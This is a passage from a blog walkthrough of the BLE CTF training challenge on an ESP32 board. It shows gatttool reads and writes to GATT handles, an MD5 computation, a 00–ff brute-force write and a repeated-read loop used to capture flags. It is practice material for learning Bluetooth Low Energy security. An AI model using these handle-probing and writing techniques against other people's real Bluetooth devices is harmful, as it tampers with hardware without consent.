<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuZGCaUsqxxaie_K0pjOs28xi0hX2Uh6TrjVyAet91ReGkm2TgvZ6yRzXnBTpa9LjkO-XALvtwjgB0upishrh1xi7mJTWWs6HPQqnvwgbaWmtJYDEafIaHGMn-z6p4F59mDMrMoSOwawo/s1600/hint+1_flag02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="87" data-original-width="1036" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuZGCaUsqxxaie_K0pjOs28xi0hX2Uh6TrjVyAet91ReGkm2TgvZ6yRzXnBTpa9LjkO-XALvtwjgB0upishrh1xi7mJTWWs6HPQqnvwgbaWmtJYDEafIaHGMn-z6p4F59mDMrMoSOwawo/s1600/hint+1_flag02.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
What we learn with this first flag is that we're going to have to put the values in the read/write handle <b>0x002c</b>, so maybe it's not bad idea to make our life easier again and create another executable file in bash that memorizes for us the whole command and whose value of the flag we pass to it as an argument to use it from now on. It's important to respect xxd so that you save it in hex format.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV0miqBnD_iYobNm_22c0MW-1jpJIUJGlTgBFjcyPkq-Y5WiuhXVXa_qKDdt_MLG2VYRlYjqqczKC9G6Kmevl86KzPEPs4BPpsEc5YrtnsD8thcKGeVHUtFRLOCwY5kQocFuqWKxfZOMQ/s1600/mete_flag.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="116" data-original-width="837" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV0miqBnD_iYobNm_22c0MW-1jpJIUJGlTgBFjcyPkq-Y5WiuhXVXa_qKDdt_MLG2VYRlYjqqczKC9G6Kmevl86KzPEPs4BPpsEc5YrtnsD8thcKGeVHUtFRLOCwY5kQocFuqWKxfZOMQ/s1600/mete_flag.png" /></a></div>
<div class="separator" style="clear: both;">
<br /></div>
<div>
<span style="background-color: #f6f8fa; color: #24292e; font-size: 16px;"><span style="font-family: inherit;"><br /></span></span></div>
<div>
<span style="background-color: #f6f8fa; color: #24292e; font-size: 16px;"><span style="font-family: inherit;"><br /></span></span></div>
<div>
<span style="background-color: #f6f8fa;"><span style="color: #24292e;"></span></span><br />
<h3>
</h3>
<h4>
Flag 0x002e </h4>
In this flag they ask us to read the handle <b>0x002e </b>and the resulting value is the one we will put as a flag in the handle <b>0x002c</b>. Let's work: we start by reading the handle to get its value.<br />
<span style="font-family: inherit;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_I9lzNpgCYwFiT3wEZZvUxxA_ocKuQ3-_SGRzcc70vzcJDaeVfTx7-vi5mqHIs_ZdN21dofcQ5PqtyRMkFA9Ts3SUGN2qCvd14OKrFGA2skCwUj_8mVGqCkRzd71mhFxr2aBSR99C5Co/s1600/flag2_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="39" data-original-width="1078" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_I9lzNpgCYwFiT3wEZZvUxxA_ocKuQ3-_SGRzcc70vzcJDaeVfTx7-vi5mqHIs_ZdN21dofcQ5PqtyRMkFA9Ts3SUGN2qCvd14OKrFGA2skCwUj_8mVGqCkRzd71mhFxr2aBSR99C5Co/s1600/flag2_00.png" /></a></div>
<div class="separator" style="clear: both;">
<span style="font-family: inherit;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: inherit;"><br /></span></div>
<div class="separator" style="clear: both; text-align: justify;">
Now we proceed to use our file created in the previous challenge to send the flag and then consult the score in the same way and see if we have one more point and therefore the flag was correct.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgm4feMpxt4-xHEyMJNg5TFLZOzW78aadj-L1v4GVXu1sKXZHXRWHNMJzhYFxvtVyk9lbc7Qsc0iS5LpDfirOUkgii3wAqtl0UXRpozQLKjhcTE6ySxWScxbe-NUhMsKHuLb6NPCjQm9wU/s1600/flag2_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="87" data-original-width="464" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgm4feMpxt4-xHEyMJNg5TFLZOzW78aadj-L1v4GVXu1sKXZHXRWHNMJzhYFxvtVyk9lbc7Qsc0iS5LpDfirOUkgii3wAqtl0UXRpozQLKjhcTE6ySxWScxbe-NUhMsKHuLb6NPCjQm9wU/s1600/flag2_01.png" /></a></div>
<div class="separator" style="clear: both;">
<br /></div>
<br />
<br />
<h4>
Flag 0x0030</h4>
<div class="separator" style="clear: both; text-align: justify;">
We start by reading the <b>0x0030 </b>handle and it tells us that the flag consists of the MD5 of the device name.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXP-sHzngpHb2zOMGLAn8bTeq5atHGlb7tHGGO-Gb0utt0Gto6FZ-Eq8dx5n-lz7uSn4mpuwbIYf-MbDT6OFrDlynsJ0GmWNtoH4WdJCH7jRcg22IVcU0WfVODTgJOovtpk9z4ZfEjIOo/s1600/flag3_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="38" data-original-width="452" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXP-sHzngpHb2zOMGLAn8bTeq5atHGlb7tHGGO-Gb0utt0Gto6FZ-Eq8dx5n-lz7uSn4mpuwbIYf-MbDT6OFrDlynsJ0GmWNtoH4WdJCH7jRcg22IVcU0WfVODTgJOovtpk9z4ZfEjIOo/s1600/flag3_00.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
We will find out the necessary value using "echo -n BLECTF | md5sum" and then send those first 20 characters with our executable file and when checking the punctuation we notice that we already have one more point for us!</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJwg8BVXV3ZcUZsD51FcMGmW9mZ0I-YI6TR2G0e2ONNcw3dgTF6iSFGxbf3r8FWtYO36AQKE4FjT85BoV8R0E5n7qSdgv4DfZk-A1Th3asxG5T7teuI8zqjUURh5SMJhheYZnuV3icf98/s1600/flag3_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="138" data-original-width="630" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJwg8BVXV3ZcUZsD51FcMGmW9mZ0I-YI6TR2G0e2ONNcw3dgTF6iSFGxbf3r8FWtYO36AQKE4FjT85BoV8R0E5n7qSdgv4DfZk-A1Th3asxG5T7teuI8zqjUURh5SMJhheYZnuV3icf98/s1600/flag3_02.png" /></a></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<u style="font-weight: bold;">IMPORTANT:</u> in all the flags, the string that we must pass as an argument will be limited to the first 20 characters. You can implement a function in the executable to truncate the string to those first 20 characters).</div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<br /></div>
<h4 style="clear: both;">
Flag 0x0016</h4>
<div class="separator" style="clear: both; text-align: justify;">
The hint of this flag invites us to find the value of [Generic Access - Device Name]. To do so, we will start an interactive session with ESP32 using gatttool.</div>
<div class="separator" style="clear: both; text-align: justify;">
We start by opening an interactive session and connecting to the device with the command "<span style="font-family: "courier new" , "courier" , monospace;"><b>gatttool -b 30:AE:A4:7B:7E:72 -I</b></span>" and then using the command "connect".</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtRNQd3XXZHzXYi7po00XWH76T2bM8gHTpdCp6p51S6WHmV2D8IvjyYlaExSX7qWkG2YjONvVFP68i3bIhMJIhdN32QZgfLK67-iOcNZYRRFyQQQPXFgZVYRtDQE3k3Z1k7U58Toa4X_w/s1600/Flag04_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="105" data-original-width="543" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtRNQd3XXZHzXYi7po00XWH76T2bM8gHTpdCp6p51S6WHmV2D8IvjyYlaExSX7qWkG2YjONvVFP68i3bIhMJIhdN32QZgfLK67-iOcNZYRRFyQQQPXFgZVYRtDQE3k3Z1k7U58Toa4X_w/s1600/Flag04_00.png" /></a></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<br /></div>
<div style="text-align: justify;">
According to the BLE standard, the UUID that must store the name of the device is <b>00002a00</b>, so we must ask ESP32 the characteristics of the services offered until we locate that UUID, we will find it inside the handle <b>0x0016</b>:</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrjNSP3APKA6rWyIRHjdHjcpV4fqgB7DOpw_SfU-zjfgbFXEmoZg__OUnNK8MdKfdSGVamGDu2XmXSgwPFo672YMNLF3Ohyphenhyphen8JDYrF7FTZfKavmysXHshyq3uLAUXAkIzSBU6NWw3I_yeU/s1600/Flag04_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="331" data-original-width="817" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrjNSP3APKA6rWyIRHjdHjcpV4fqgB7DOpw_SfU-zjfgbFXEmoZg__OUnNK8MdKfdSGVamGDu2XmXSgwPFo672YMNLF3Ohyphenhyphen8JDYrF7FTZfKavmysXHshyq3uLAUXAkIzSBU6NWw3I_yeU/s1600/Flag04_01.png" /></a></div>
<br />
<br />
<div style="text-align: justify;">
We take advantage of the interactive session connected to the device to read the value of the handle and we will obtain the value in hexadecimal format.<br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-LCsFiJSLYR9rT42f-3rF2VBbrNj3lxNBvS0uBqHDi3Ry7lm9RoFSzYJR5erz55FS-W9OqDf2n95qp_Q1zZCpupMSutWtqzBiZGn91xpsnqs-0f5UKuGobIOdikgPu9iBW1PSrq5eF4M/s1600/Flag04_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="56" data-original-width="963" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-LCsFiJSLYR9rT42f-3rF2VBbrNj3lxNBvS0uBqHDi3Ry7lm9RoFSzYJR5erz55FS-W9OqDf2n95qp_Q1zZCpupMSutWtqzBiZGn91xpsnqs-0f5UKuGobIOdikgPu9iBW1PSrq5eF4M/s1600/Flag04_02.png" /></a></div>
<br />
<br />
<div style="text-align: justify;">
We can forward the flag in hexadecimal format by truncating the string to the first 20 characters as we already know and using gatttool, or we can convert the string even if it is more time consuming if we want to use our executable file to forward the flag afterwards.<br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrItGwbk2__zU1JsRzgWVNivO7edJ23KFCeXEEPJ9RlU4S-e4-peLZDsjtSXqRXz4PWX_JtwLJxZr8cGB5fnBN1U2pkl12LxsoEchYIBJjX8m5-gUOM9aUmwECk5z3srG3dFfZS4YEn7k/s1600/Flag04_03.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="57" data-original-width="968" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrItGwbk2__zU1JsRzgWVNivO7edJ23KFCeXEEPJ9RlU4S-e4-peLZDsjtSXqRXz4PWX_JtwLJxZr8cGB5fnBN1U2pkl12LxsoEchYIBJjX8m5-gUOM9aUmwECk5z3srG3dFfZS4YEn7k/s1600/Flag04_03.png" /></a></div>
<br />
<br /></div>
<div>
<div style="text-align: justify;">
Now we only have to put the flag and check the score to see how another point has risen on the scoreboard in our favor.<br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgzdcwf8AgJ7G0VU2ev5sOW_KEqoLXFK43m6t0R2AC6oYGZKjfVJYLghrEesx74KLHciptC_6um6fzSHQtkG9ekQON3w10LwdDAGwyjOc8cyP5cxkCrw3vY8yyk2XkByg_geb8vPVJLBQ/s1600/Flag04_04.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="79" data-original-width="459" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgzdcwf8AgJ7G0VU2ev5sOW_KEqoLXFK43m6t0R2AC6oYGZKjfVJYLghrEesx74KLHciptC_6um6fzSHQtkG9ekQON3w10LwdDAGwyjOc8cyP5cxkCrw3vY8yyk2XkByg_geb8vPVJLBQ/s1600/Flag04_04.png" /></a></div>
<br />
<br />
<br />
<h4>
Flag 0x0032</h4>
<div style="text-align: justify;">
We start by reading the <b>0x0032</b> handle and notice that it asks us to overwrite it with literally anything.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi54sn0Vh0pxCVkU307JodjxReL4iYRaU8PgXekfugZtT7K4LmeLr06sG2_TL4LCy0EuljWSZb8hmrxxEmVBWUapOrBUjPZ7_vNTqjiDJyTZyzD8hK9B3mfVGBdwdfoYOOGznKsJ2MMIx0/s1600/Flag5_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="40" data-original-width="357" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi54sn0Vh0pxCVkU307JodjxReL4iYRaU8PgXekfugZtT7K4LmeLr06sG2_TL4LCy0EuljWSZb8hmrxxEmVBWUapOrBUjPZ7_vNTqjiDJyTZyzD8hK9B3mfVGBdwdfoYOOGznKsJ2MMIx0/s1600/Flag5_00.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Let's write for example the string "Hacker De Cabecera" with gatttool, once done we read the handle again and observe how it has indeed already changed because of what we have just written.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizbcaBsJcZD42RPpXsgNiDp7JFyKyANJ4JOtWrKmXA3KOyppPBZFgcwxk5a9tk_lltCaPfb0nu_2T7rWhkUTDaECeXRNQ_RdXDIJDAZpcH1SJ5hgXtfd46GbLz-sYO_fm6lPYQxl4jcdQ/s1600/Flag5_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="76" data-original-width="1031" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizbcaBsJcZD42RPpXsgNiDp7JFyKyANJ4JOtWrKmXA3KOyppPBZFgcwxk5a9tk_lltCaPfb0nu_2T7rWhkUTDaECeXRNQ_RdXDIJDAZpcH1SJ5hgXtfd46GbLz-sYO_fm6lPYQxl4jcdQ/s1600/Flag5_01.png" /></a></div>
<div class="separator" style="clear: both;">
<br /></div>
<br />
<div style="text-align: justify;">
We submit the flag and check the score: another one bites the dust!<br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi82dst0SDbA0OMr-39v8juVIRzHPsSVlxHmHOxLR4-YV2cm-NmeRj4JRv2J0oVovxu_B_arSGuYgJC9WJh8AiBhx3X0on7tvSEkgEPFeZdYx6x7Y1jug0TBCfJ_yGtjbMD9VKQ5z_eMdE/s1600/Flag5_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="78" data-original-width="445" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi82dst0SDbA0OMr-39v8juVIRzHPsSVlxHmHOxLR4-YV2cm-NmeRj4JRv2J0oVovxu_B_arSGuYgJC9WJh8AiBhx3X0on7tvSEkgEPFeZdYx6x7Y1jug0TBCfJ_yGtjbMD9VKQ5z_eMdE/s1600/Flag5_02.png" /></a></div>
<br />
<br />
<br />
<h4>
Flag 0x0034</h4>
</div>
<div>
<div style="text-align: justify;">
The hint of this flag invites us to do the same as in the previous one: rewrite a handle with a specific ASCII chain, in this case it should be "me".</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhA4afw4Lk5gRmPLbuiCY6_gKtlDvPFE9B2DiD0amjMngUElq9Z-ALzA9v3fd8ZcxERNlisWCkckk2_i_xtcwHVWherpjId6TrVAIJ-fT7GX4tA6vVD18Fdq2DeZJJZ6ioLmriJxlc0okE/s1600/Flag6_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="40" data-original-width="356" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhA4afw4Lk5gRmPLbuiCY6_gKtlDvPFE9B2DiD0amjMngUElq9Z-ALzA9v3fd8ZcxERNlisWCkckk2_i_xtcwHVWherpjId6TrVAIJ-fT7GX4tA6vVD18Fdq2DeZJJZ6ioLmriJxlc0okE/s1600/Flag6_00.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
We repeat the process of the previous flag and write the string indicated in the<b> 0x0034 </b>handle and then insert our flag.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWEmV2e7i_Y0jJo1j_1YGCPbq3TbZWRF-XnNZ0S1YIWOlOLmJqHa9sCqCjCSJa2FMXacFyO4aawdLGyt-HdlU8SBksKPF5zwqswwuZsZOBYfD64hicty2bhYgOZhLoE_iNuSIPKtLDmYU/s1600/Flag6_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="142" data-original-width="897" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWEmV2e7i_Y0jJo1j_1YGCPbq3TbZWRF-XnNZ0S1YIWOlOLmJqHa9sCqCjCSJa2FMXacFyO4aawdLGyt-HdlU8SBksKPF5zwqswwuZsZOBYfD64hicty2bhYgOZhLoE_iNuSIPKtLDmYU/s1600/Flag6_01.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<h4>
Flag 0x0036</h4>
<div>
<div style="text-align: justify;">
For this flag again we are asked to write on a handle, but this time we are asked to be specifically the hex value <b>0x07</b>. We'll use gatttol and the -<span style="font-family: "courier new" , "courier" , monospace;"><b>-char-write-req</b></span> option again, just like the previous flags. </div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhixSbnbBgHrdXfQNdcQt3LhKCvPoPMFIvQNnjFt60kmxVmC2c44mhNdWYu8s7dYhNH7yXv12Sw8lZ7noqVsZKk-cVZSIHp_WvSOapBn_EF_7g8vCyQIpnDgHdP7Fi7j2kF4cSkMAL6Ybc/s1600/Flag7_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="111" data-original-width="695" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhixSbnbBgHrdXfQNdcQt3LhKCvPoPMFIvQNnjFt60kmxVmC2c44mhNdWYu8s7dYhNH7yXv12Sw8lZ7noqVsZKk-cVZSIHp_WvSOapBn_EF_7g8vCyQIpnDgHdP7Fi7j2kF4cSkMAL6Ybc/s1600/Flag7_00.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
Again, all we have to do is put the flag in and make sure it's right.<br />
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWn36O8JRTDw1_HnafBVCjf3vroU29IHXPsH-3Qn4brpiZbE4LL8lhqy6YQ6RyllkIU9Bg7YsOCfuhasYndPRUoslMIAaiK0wut_hUAR-B1-X4QZhxAKZ26dLElv6oHr9eRT0M8tG4N38/s1600/Flag7_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="76" data-original-width="447" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWn36O8JRTDw1_HnafBVCjf3vroU29IHXPsH-3Qn4brpiZbE4LL8lhqy6YQ6RyllkIU9Bg7YsOCfuhasYndPRUoslMIAaiK0wut_hUAR-B1-X4QZhxAKZ26dLElv6oHr9eRT0M8tG4N38/s1600/Flag7_01.png" /></a></div>
<div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<h4>
Flag 0x0038</h4>
</div>
<div>
<div style="text-align: justify;">
<span style="font-family: "times" , "times new roman" , serif;">This time the handle asks us to write in a handle different from itself and asks us to rewrite the specific value </span><b><span style="font-family: "courier new" , "courier" , monospace;">0xC9</span></b><span style="font-family: "times" , "times new roman" , serif;">.</span></div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYgkWgqj67kn_LY9puXz586n1DzAYunFPkOmwmBBw4WOfsP8x9W-vtWXqO_XTDCdZCL2Ckvmp5fFu87LkmdcumyLDgXUh06zButHyczJkOZFjURk-JPMdFzTv7A-l02T_FBlC4UVX0Wps/s1600/Flag8_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="38" data-original-width="332" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYgkWgqj67kn_LY9puXz586n1DzAYunFPkOmwmBBw4WOfsP8x9W-vtWXqO_XTDCdZCL2Ckvmp5fFu87LkmdcumyLDgXUh06zButHyczJkOZFjURk-JPMdFzTv7A-l02T_FBlC4UVX0Wps/s1600/Flag8_00.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
We proceed in the same way as in the previous flags and rewrite handle <b>0x0058</b> and when we read handle <b>0x0038</b> again we notice that it has already changed.</div>
<div class="separator" style="clear: both; text-align: justify;">
We only have to put the flag and check that the point has gone up in our score.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPl3p_4ge712x1UvpXdM7AflVPcIy9NQjINXOVh1wP6ZOQN9zZz3vFCZGm17xYNGc4BWQ5LiQfn4ijwnabj9r90VQQxzrubvejMaCLLpkdNczMjjbO_ZoNdfGryL-uuW-6HiFrxHeBkMs/s1600/Flag8_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="146" data-original-width="663" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPl3p_4ge712x1UvpXdM7AflVPcIy9NQjINXOVh1wP6ZOQN9zZz3vFCZGm17xYNGc4BWQ5LiQfn4ijwnabj9r90VQQxzrubvejMaCLLpkdNczMjjbO_ZoNdfGryL-uuW-6HiFrxHeBkMs/s1600/Flag8_01.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<h4>
Flag 0x003c</h4>
</div>
<div class="separator" style="clear: both; text-align: justify;">
Here it gets interesting and challenges us to make him brute-force from the hex value <span style="font-family: "courier new" , "courier" , monospace;"><b>00</b></span> to the hex value <span style="font-family: "courier new" , "courier" , monospace;"><b>ff</b></span>.</div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6KpJwiOWOByMQ8ldlxGK4nQt94j9HYPTOMwmGX1VSQUP3OgpkRl7s3GbhCBSMkSQshtNyfCxDJPxjqDdfRilFz7lV4ab5W2bxSRJpVrFXBP8D9n30gqf3RxGKt-X7BrkhExr6gmiKQW4/s1600/Flag9_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="40" data-original-width="348" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6KpJwiOWOByMQ8ldlxGK4nQt94j9HYPTOMwmGX1VSQUP3OgpkRl7s3GbhCBSMkSQshtNyfCxDJPxjqDdfRilFz7lV4ab5W2bxSRJpVrFXBP8D9n30gqf3RxGKt-X7BrkhExr6gmiKQW4/s1600/Flag9_00.png" /></a></div>
<br />
<br />
<div style="text-align: justify;">
Speaking in decimal, it asks us to make a brute force between the decimal value 0 and the decimal value 255.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQaKZH28T3Y19Ry8YKCVVRkM1aRU_qsCISXAobIUz7A3kdYeIaauywROEidbb5OrHnS_Ld2cigy_zvUk4Bvt_AbxDGj3Iw1a7E-C81jLaehgokDTimGYKp9h0QGcSygdCUGXu6Zoynzzo/s1600/Flag9_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="234" data-original-width="707" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQaKZH28T3Y19Ry8YKCVVRkM1aRU_qsCISXAobIUz7A3kdYeIaauywROEidbb5OrHnS_Ld2cigy_zvUk4Bvt_AbxDGj3Iw1a7E-C81jLaehgokDTimGYKp9h0QGcSygdCUGXu6Zoynzzo/s1600/Flag9_01.png" /></a></div>
<br />
<br />
<div style="text-align: justify;">
Once it's finished, we read again the <b>0x003c</b> handle and observe that its value has already changed, so we proceed to put the flag and add another point.<br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq_qUYWI1HD8lw9Q0efNMdwS54and3pRz5EEySjpaRnI-m9R7qP-EM63BwsHXodCdpyFkE8e8A1ieL1KGcViEtGxGqzmB0SLVf1fUBPaJpUmH4BuE0MZucLyNJM7BF55Cd58nKMMTH5xw/s1600/Flag9_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="163" data-original-width="431" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq_qUYWI1HD8lw9Q0efNMdwS54and3pRz5EEySjpaRnI-m9R7qP-EM63BwsHXodCdpyFkE8e8A1ieL1KGcViEtGxGqzmB0SLVf1fUBPaJpUmH4BuE0MZucLyNJM7BF55Cd58nKMMTH5xw/s1600/Flag9_02.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<h4>
Flag 0x003e</h4>
</div>
<div>
<div style="text-align: justify;">
Another interesting challenge!! This time the handle asks us to read it... no more and no less than 1000 times!!<br />
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjl1gKskKg8qEaZWs3bCCk83dqyaxzhEC4mEo45wqLCXZA_b8wYSX-LFf-vdc0HMffXKTJ-CFOmOwMSoGZ2C4FWlommFmPbs7jXOC8LGtcE3sb_x_E2qDdlgUYL2y2bFk5eT1mQnkMKpbc/s1600/Flag10_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="37" data-original-width="410" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjl1gKskKg8qEaZWs3bCCk83dqyaxzhEC4mEo45wqLCXZA_b8wYSX-LFf-vdc0HMffXKTJ-CFOmOwMSoGZ2C4FWlommFmPbs7jXOC8LGtcE3sb_x_E2qDdlgUYL2y2bFk5eT1mQnkMKpbc/s1600/Flag10_00.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Since using the up cursor and pressing the enter for 999 more times doesn't sound entirely interesting... we'd better make another bash loop that launches for 1000 times our executable file to read the handle.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
